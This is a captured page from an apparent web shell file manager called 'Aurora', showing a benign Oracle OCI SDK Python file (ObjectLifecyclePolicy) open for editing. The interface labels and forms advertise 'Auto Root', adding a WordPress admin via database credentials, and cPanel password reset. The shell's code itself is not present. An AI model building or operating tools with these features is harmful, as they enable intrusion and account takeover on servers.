Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
object_storage
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: object_lifecycle_policy.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20160918 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class ObjectLifecyclePolicy(object): """ The collection of lifecycle policy rules that together form the object lifecycle policy of a given bucket. """ def __init__(self, **kwargs): """ Initializes a new ObjectLifecyclePolicy object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param time_created: The value to assign to the time_created property of this ObjectLifecyclePolicy. :type time_created: datetime :param items: The value to assign to the items property of this ObjectLifecyclePolicy. :type items: list[oci.object_storage.models.ObjectLifecycleRule] """ self.swagger_types = { 'time_created': 'datetime', 'items': 'list[ObjectLifecycleRule]' } self.attribute_map = { 'time_created': 'timeCreated', 'items': 'items' } self._time_created = None self._items = None @property def time_created(self): """ Gets the time_created of this ObjectLifecyclePolicy. The date and time the object lifecycle policy was created, as described in `RFC 3339`__. __ https://tools.ietf.org/html/rfc3339 :return: The time_created of this ObjectLifecyclePolicy. :rtype: datetime """ return self._time_created @time_created.setter def time_created(self, time_created): """ Sets the time_created of this ObjectLifecyclePolicy. The date and time the object lifecycle policy was created, as described in `RFC 3339`__. __ https://tools.ietf.org/html/rfc3339 :param time_created: The time_created of this ObjectLifecyclePolicy. :type: datetime """ self._time_created = time_created @property def items(self): """ Gets the items of this ObjectLifecyclePolicy. The live lifecycle policy on the bucket. For an example of this value, see the `PutObjectLifecyclePolicy API documentation`__. __ https://docs.cloud.oracle.com/iaas/api/#/en/objectstorage/20160918/ObjectLifecyclePolicy/PutObjectLifecyclePolicy :return: The items of this ObjectLifecyclePolicy. :rtype: list[oci.object_storage.models.ObjectLifecycleRule] """ return self._items @items.setter def items(self, items): """ Sets the items of this ObjectLifecyclePolicy. The live lifecycle policy on the bucket. For an example of this value, see the `PutObjectLifecyclePolicy API documentation`__. __ https://docs.cloud.oracle.com/iaas/api/#/en/objectstorage/20160918/ObjectLifecyclePolicy/PutObjectLifecyclePolicy :param items: The items of this ObjectLifecyclePolicy. :type: list[oci.object_storage.models.ObjectLifecycleRule] """ self._items = items def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other